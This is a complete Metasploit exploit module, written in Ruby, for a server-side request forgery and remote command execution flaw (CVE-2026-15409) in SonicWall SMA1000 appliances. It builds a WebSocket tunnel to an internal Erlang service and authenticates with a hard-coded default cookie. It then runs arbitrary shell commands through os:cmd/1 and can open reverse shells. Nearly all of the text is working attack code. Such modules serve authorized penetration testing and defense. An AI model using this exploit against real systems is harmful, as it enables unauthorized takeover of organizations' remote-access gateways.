📄 SonicWall SMA1000 Server-Side Request Forgery / Remote Command Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'base64'
    require 'digest'
    require 'securerandom'
    require 'timeout'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      ETF_VERSION = 131
      SMALL_INTEGER_EXT = 97
      INTEGER_EXT = 98
      ATOM_EXT = 100
      REFERENCE_EXT = 101
      PID_EXT = 103
      SMALL_TUPLE_EXT = 104
      NIL_EXT = 106
      STRING_EXT = 107
      LIST_EXT = 108
      BINARY_EXT = 109
      ATOM_UTF8_EXT = 118
      SMALL_ATOM_UTF8_EXT = 119
      NEW_PID_EXT = 88
      NEWER_REFERENCE_EXT = 90
    
      DFLAG_EXTENDED_REFERENCES = 0x00000004
      DFLAG_FUN_TAGS = 0x00000010
      DFLAG_NEW_FUN_TAGS = 0x00000080
      DFLAG_EXTENDED_PIDS_PORTS = 0x00000100
      DFLAG_EXPORT_PTR_TAG = 0x00000200
      DFLAG_BIT_BINARIES = 0x00000400
      DFLAG_NEW_FLOATS = 0x00000800
      DFLAG_UTF8_ATOMS = 0x00010000
      DFLAG_MAP_TAG = 0x00020000
      DFLAG_BIG_CREATION = 0x00040000
      DFLAG_HANDSHAKE_23 = 0x01000000
    
      DIST_FLAGS = DFLAG_EXTENDED_REFERENCES |
                   DFLAG_FUN_TAGS |
                   DFLAG_NEW_FUN_TAGS |
                   DFLAG_EXTENDED_PIDS_PORTS |
                   DFLAG_EXPORT_PTR_TAG |
                   DFLAG_BIT_BINARIES |
                   DFLAG_NEW_FLOATS |
                   DFLAG_UTF8_ATOMS |
                   DFLAG_MAP_TAG |
                   DFLAG_BIG_CREATION |
                   DFLAG_HANDSHAKE_23
    
      SmaReadyFrame = "\x0b\x00\x00\x00\x00".b
    
      Pid = Struct.new(:node, :ident, :serial, :creation)
      Reference = Struct.new(:node, :ident, :creation)
    
      # Adapts the SMA Connect Agent WebSocket protocol to the socket-like
      # sendall/recv interface required by the Erlang distribution implementation.
      #
      # WebSocket framing and connection handling are provided by Rex. This adapter
      # handles SMA-specific Base64 encoding, the initial ready frame, and buffering
      # for exact-length Erlang reads.
      class SmaErlangWebSocketAdapter
        def initialize(wsock, read_timeout, verbose_proc = nil)
          @wsock = wsock
          @read_timeout = read_timeout
          @verbose_proc = verbose_proc
          @recv_buffer = ''.b
          consume_ready_frame
        end
    
        def sendall(data)
          # The SMA Connect Agent protocol sends base64 data in WebSocket text frames.
          @wsock.put_wstext(Base64.strict_encode64(data))
        end
    
        def recv(size)
          while @recv_buffer.bytesize < size
            message = read_message
            break if message.nil?
    
            @recv_buffer << message
          end
    
          result = @recv_buffer.byteslice(0, size) || ''.b
          @recv_buffer = @recv_buffer.byteslice(size..) || ''.b
          result
        end
    
        def close
          @wsock.wsclose
        rescue StandardError
          nil
        end
    
        private
    
        def consume_ready_frame
          message = read_message(timeout: 1, allow_timeout: true)
          return if message.nil?
    
          if message == MetasploitModule::SmaReadyFrame
            @verbose_proc&.call('Received SMA ready frame')
          else
            @recv_buffer << message
          end
        end
    
        def read_message(timeout: @read_timeout, allow_timeout: false)
          result = catch(:sma_websocket_message) do
            Timeout.timeout(timeout) do
              # Rex wsloop handles WebSocket fragmentation, masking, ping/pong, and
              # close frames. Throwing from the callback returns one complete message
              # without allowing wsloop to close the still-active WebSocket.
              @wsock.wsloop do |data, _data_type|
                throw :sma_websocket_message, data.to_s.b
              end
            end
    
            nil
          end
    
          result
        rescue Timeout::Error
          return nil if allow_timeout
    
          raise Rex::TimeoutError, 'Timed out waiting for WebSocket data'
        end
      end
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution',
            'Description' => %q{
              This module exploits a Server-Side Request Forgery (SSRF)
              vulnerability in the SonicWall SMA1000 WorkPlace wsproxy service to
              access the internal Erlang distribution service.
    
              After authenticating using the known Erlang distribution cookie, the
              module invokes os:cmd/1 through Erlang RPC to execute arbitrary Unix
              commands in the context of the vulnerable SMA service.
    
              The check method performs a benign Erlang node RPC rather than
              executing an operating system command.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Ryan Emmons', # Original Python PoC research and development
              'Deral Heiland', # Metasploit module testing and development
              'Rapid7 Vulnerability Research'
            ],
            'References' => [
              ['CVE', '2026-15409'],
              ['URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008'],
              ['URL', 'https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/']
            ],
            'DisclosureDate' => '2026-07-14',
            'Privileged' => false,
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true,
              'FETCH_WRITABLE_DIR' => '/tmp',
              'WfsDelay' => 10
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'SMA WorkPlace base path', '/']),
            OptString.new('WSHOST', [true, 'Internal host supplied to wsproxy', '0.0.0.0']),
            OptPort.new('WSPORT', [true, 'Internal Erlang distribution service port', 1050]),
            OptString.new('BMID', [true, 'Bookmark identifier beginning with -3389', '-3389c1b25ccd']),
            OptString.new('SERVICE_TYPE', [true, 'wsproxy service type', 'SSH']),
            OptString.new('ORIGIN', [false, 'WebSocket Origin header; generated automatically when empty', '']),
            OptString.new('WS_USER_AGENT', [true, 'WebSocket User-Agent header', 'SMA Connect Agent']),
            OptString.new('ERLANG_COOKIE', [true, 'Erlang distribution cookie', '10ecad5b446e86864832904cd439b6b70262']),
            OptString.new('NODE_NAME', [false, 'Erlang client node name; generated automatically when empty', '']),
            OptInt.new('WS_READ_TIMEOUT', [true, 'Seconds to wait for WebSocket protocol data', 10])
          ]
        )
      end
    
      def websocket_uri
        query = "bmID=#{Rex::Text.uri_encode(datastore['BMID'])}" \
                "&serviceType=#{Rex::Text.uri_encode(datastore['SERVICE_TYPE'])}" \
                "&host=#{Rex::Text.uri_encode(datastore['WSHOST'])}" \
                "&port=#{datastore['WSPORT']}"
    
        "#{normalize_uri(target_uri.path, 'wsproxy')}?#{query}"
      end
    
      def websocket_origin
        return datastore['ORIGIN'] unless datastore['ORIGIN'].blank?
    
        scheme = ssl ? 'https' : 'http'
        default_port = ssl ? 443 : 80
        authority = vhost
        authority = "#{authority}:#{rport}" unless rport == default_port
        "#{scheme}://#{authority}"
      end
    
      def erlang_node_name
        return datastore['NODE_NAME'] unless datastore['NODE_NAME'].blank?
    
        "#{Rex::Text.rand_text_numeric(6)}@127.0.0.1"
      end
    
      def connect_sma_websocket
        vprint_status("Connecting to #{websocket_uri}")
        vprint_status("Origin: #{websocket_origin}")
        vprint_status("Internal destination: #{datastore['WSHOST']}:#{datastore['WSPORT']}")
    
        wsock = connect_ws(
          'method' => 'GET',
          'uri' => websocket_uri,
          'headers' => {
            'Origin' => websocket_origin,
            'User-Agent' => datastore['WS_USER_AGENT'],
            'Sec-WebSocket-Protocol' => 'binary'
          }
        )
    
        vprint_good('WebSocket upgrade succeeded')
        SmaErlangWebSocketAdapter.new(wsock, datastore['WS_READ_TIMEOUT'], proc { |message| vprint_status(message) })
      end
    
      def recv_exact(sock, size)
        buffer = ''.b
        while buffer.bytesize < size
          chunk = sock.recv(size - buffer.bytesize)
          raise EOFError, 'Peer closed the connection' if chunk.nil? || chunk.empty?
    
          buffer << chunk
        end
        buffer
      end
    
      def send_handshake_packet(sock, payload)
        sock.sendall([payload.bytesize].pack('n') + payload)
      end
    
      def recv_handshake_packet(sock)
        size = recv_exact(sock, 2).unpack1('n')
        recv_exact(sock, size)
      end
    
      def send_dist_packet(sock, payload)
        sock.sendall([payload.bytesize].pack('N') + payload)
      end
    
      def recv_dist_packet(sock)
        size = recv_exact(sock, 4).unpack1('N')
        return ''.b if size.zero?
    
        recv_exact(sock, size)
      end
    
      def erlang_digest(cookie, challenge)
        Digest::MD5.digest("#{cookie}#{challenge}")
      end
    
      def parse_challenge(payload)
        case payload.byteslice(0, 1)
        when 'N'
          raise ArgumentError, 'Short new-style Erlang challenge packet' if payload.bytesize < 19
    
          flags, challenge, creation, name_length = payload.byteslice(1, 18).unpack('Q>NNn')
          name = payload.byteslice(19, name_length).to_s
          [flags, challenge, creation, name]
        when 'n'
          raise ArgumentError, 'Short old-style Erlang challenge packet' if payload.bytesize < 11
    
          _version, flags, challenge = payload.byteslice(1, 10).unpack('nNN')
          name = payload.byteslice(11..).to_s
          [flags, challenge, 0, name]
        else
          raise ArgumentError, "Unexpected Erlang challenge tag: #{payload.byteslice(0, 1).inspect}"
        end
      end
    
      def etf_atom(value)
        data = value.to_s.b
        if data.bytesize <= 255
          [SMALL_ATOM_UTF8_EXT, data.bytesize].pack('CC') + data
        else
          [ATOM_UTF8_EXT, data.bytesize].pack('Cn') + data
        end
      end
    
      def etf_small_int(value)
        raise ArgumentError, 'Small integer is outside the range 0..255' unless value.between?(0, 255)
    
        [SMALL_INTEGER_EXT, value].pack('CC')
      end
    
      def etf_string(value)
        data = value.to_s.b
        raise ArgumentError, 'ETF STRING_EXT exceeds 65535 bytes' if data.bytesize > 65_535
    
        [STRING_EXT, data.bytesize].pack('Cn') + data
      end
    
      def etf_nil
        [NIL_EXT].pack('C')
      end
    
      def etf_tuple(*items)
        raise ArgumentError, 'Tuple arity exceeds SMALL_TUPLE_EXT capacity' if items.length > 255
    
        [SMALL_TUPLE_EXT, items.length].pack('CC') + items.join
      end
    
      def etf_list(items)
        [LIST_EXT, items.length].pack('CN') + items.join + etf_nil
      end
    
      def etf_pid(pid)
        [PID_EXT].pack('C') + etf_atom(pid.node) + [pid.ident, pid.serial, pid.creation].pack('NNC')
      end
    
      def decode_etf(data, offset = 0)
        raise ArgumentError, 'Unexpected end of ETF data' if offset >= data.bytesize
    
        tag = data.getbyte(offset)
        offset += 1
        return decode_etf(data, offset) if tag == ETF_VERSION
    
        case tag
        when SMALL_INTEGER_EXT
          [data.getbyte(offset), offset + 1]
        when INTEGER_EXT
          [data.byteslice(offset, 4).unpack1('l>'), offset + 4]
        when ATOM_EXT, ATOM_UTF8_EXT
          length = data.byteslice(offset, 2).unpack1('n')
          offset += 2
          [data.byteslice(offset, length).to_s, offset + length]
        when SMALL_ATOM_UTF8_EXT
          length = data.getbyte(offset)
          offset += 1
          [data.byteslice(offset, length).to_s, offset + length]
        when STRING_EXT
          length = data.byteslice(offset, 2).unpack1('n')
          offset += 2
          [data.byteslice(offset, length).to_s, offset + length]
        when BINARY_EXT
          length = data.byteslice(offset, 4).unpack1('N')
          offset += 4
          [data.byteslice(offset, length).to_s.b, offset + length]
        when NIL_EXT
          [[], offset]
        when SMALL_TUPLE_EXT
          arity = data.getbyte(offset)
          offset += 1
          values = []
          arity.times do
            value, offset = decode_etf(data, offset)
            values << value
          end
          [values.freeze, offset]
        when LIST_EXT
          length = data.byteslice(offset, 4).unpack1('N')
          offset += 4
          values = []
          length.times do
            value, offset = decode_etf(data, offset)
            values << value
          end
          tail, offset = decode_etf(data, offset)
          values << [:tail, tail] unless tail == []
          [values, offset]
        when PID_EXT
          node, offset = decode_etf(data, offset)
          ident, serial = data.byteslice(offset, 8).unpack('NN')
          offset += 8
          creation = data.getbyte(offset)
          [Pid.new(node, ident, serial, creation), offset + 1]
        when NEW_PID_EXT
          node, offset = decode_etf(data, offset)
          ident, serial, creation = data.byteslice(offset, 12).unpack('NNN')
          [Pid.new(node, ident, serial, creation), offset + 12]
        when REFERENCE_EXT
          node, offset = decode_etf(data, offset)
          ident = data.byteslice(offset, 4).unpack1('N')
          offset += 4
          creation = data.getbyte(offset)
          [Reference.new(node, ident, creation), offset + 1]
        when NEWER_REFERENCE_EXT
          length = data.byteslice(offset, 2).unpack1('n')
          offset += 2
          node, offset = decode_etf(data, offset)
          creation = data.byteslice(offset, 4).unpack1('N')
          offset += 4
          identifiers = []
          length.times do
            identifiers << data.byteslice(offset, 4).unpack1('N')
            offset += 4
          end
          [[:reference, node, creation, identifiers], offset]
        else
          raise ArgumentError, "Unsupported ETF tag #{tag} at offset #{offset - 1}"
        end
      end
    
      def rpc_call(sock, node_name, erlang_module, function, arguments)
        sender_pid = Pid.new(node_name, 1, 0, 0)
        request = etf_tuple(
          etf_pid(sender_pid),
          etf_tuple(
            etf_atom('call'),
            etf_atom(erlang_module),
            etf_atom(function),
            etf_list(arguments),
            etf_atom('user')
          )
        )
        control = etf_tuple(
          etf_small_int(6),
          etf_pid(sender_pid),
          etf_atom('nocookie'),
          etf_atom('rex')
        )
    
        send_dist_packet(sock, [112, ETF_VERSION].pack('CC') + control + [ETF_VERSION].pack('C') + request)
    
        loop do
          packet = recv_dist_packet(sock)
          next if packet.empty?
          raise "Unexpected distribution packet type #{packet.getbyte(0)}" unless packet.getbyte(0) == 112
    
          control_term, offset = decode_etf(packet, 1)
          message_term, = decode_etf(packet, offset)
    
          next unless control_term.is_a?(Array) && control_term[0] == 2
          next unless message_term.is_a?(Array) && message_term.length == 2 && message_term[0] == 'rex'
    
          return message_term[1]
        end
      end
    
      def erlang_connect_and_rpc(erlang_module, function, arguments)
        sock = connect_sma_websocket
        node_name = erlang_node_name
        node_name_data = node_name.b
    
        vprint_status("Using Erlang node name #{node_name}")
        name_packet = 'N'.b + [DIST_FLAGS, 0, node_name_data.bytesize].pack('Q>Nn') + node_name_data
        send_handshake_packet(sock, name_packet)
    
        status = recv_handshake_packet(sock)
        raise "Unexpected Erlang status packet: #{status.inspect}" unless status.start_with?('s')
    
        status_text = status.byteslice(1..).to_s
        vprint_status("Erlang distribution status: #{status_text}")
        raise "Erlang connection rejected: #{status_text}" unless %w[ok ok_simultaneous].include?(status_text)
    
        challenge_packet = recv_handshake_packet(sock)
        peer_flags, peer_challenge, peer_creation, peer_name = parse_challenge(challenge_packet)
        vprint_good("Reached Erlang node #{peer_name}")
        vprint_status(format('Peer flags: 0x%x', peer_flags))
        vprint_status("Peer creation: #{peer_creation}")
    
        my_challenge = SecureRandom.random_number(0x1_0000_0000)
        reply = 'r'.b + [my_challenge].pack('N') + erlang_digest(datastore['ERLANG_COOKIE'], peer_challenge)
        send_handshake_packet(sock, reply)
    
        acknowledgement = recv_handshake_packet(sock)
        raise "Unexpected Erlang acknowledgement: #{acknowledgement.inspect}" unless acknowledgement.start_with?('a')
        raise 'Erlang cookie authentication failed' unless acknowledgement.byteslice(1..) == erlang_digest(datastore['ERLANG_COOKIE'], my_challenge)
    
        vprint_good('Erlang cookie authentication succeeded')
        result = rpc_call(sock, node_name, erlang_module, function, arguments)
        [result, peer_name]
      ensure
        sock&.close
      end
    
      def format_term(value)
        case value
        when String
          value
        when Array
          "{#{value.map { |item| format_term(item) }.join(', ')}}"
        when Pid
          "#Pid<#{value.node}.#{value.ident}.#{value.serial}>"
        when Reference
          "#Ref<#{value.node}.#{value.ident}>"
        else
          value.to_s
        end
      end
    
      def check
        result, peer_name = erlang_connect_and_rpc('erlang', 'node', [])
        node_result = format_term(result)
        return CheckCode::Unknown('The Erlang RPC completed but returned an empty node name') if node_result.blank?
    
        CheckCode::Appears("Authenticated to internal Erlang node #{peer_name}; erlang:node/0 returned #{node_result}")
      rescue Rex::Proto::Http::WebSocket::ConnectionError => e
        details = e.http_response ? "HTTP #{e.http_response.code}" : e.message
        CheckCode::Safe("The wsproxy WebSocket upgrade was rejected: #{details}")
      rescue Rex::ConnectionError, Rex::TimeoutError, EOFError => e
        CheckCode::Unknown("Connection failed while testing the internal Erlang service: #{e.message}")
      rescue RuntimeError, ArgumentError => e
        if e.message.include?('cookie authentication failed')
          CheckCode::Appears("The internal Erlang service was reached, but the configured cookie was rejected: #{e.message}")
        else
          CheckCode::Unknown("The internal protocol returned an unexpected result: #{e.message}")
        end
      end
    
      def execute_command(command, _opts = {})
        print_status("Executing command through Erlang os:cmd/1: #{command}")
        result, peer_name = erlang_connect_and_rpc('os', 'cmd', [etf_string(command)])
        output = format_term(result)
        print_good("RPC completed through #{peer_name}")
        print_line(output) unless output.blank?
        output
      rescue Rex::Proto::Http::WebSocket::ConnectionError => e
        fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
      rescue Rex::ConnectionError, EOFError => e
        fail_with(Failure::Unreachable, "Connection failed: #{e.message}")
      rescue RuntimeError, ArgumentError => e
        fail_with(Failure::UnexpectedReply, e.message)
      end
    
      def exploit
        execute_command(payload.encoded)
      rescue Rex::TimeoutError => e
        # A reverse or bind command shell can keep Erlang os:cmd/1 blocked even
        # after Metasploit has successfully registered the new session. Only
        # suppress the transport timeout when the framework confirms a session.
        raise e unless session_created?
    
        print_good('Session created; ignoring the expected Erlang RPC/WebSocket timeout from the still-running command shell.')
        vprint_status("WebSocket timeout after session creation: #{e.message}")
      end
    end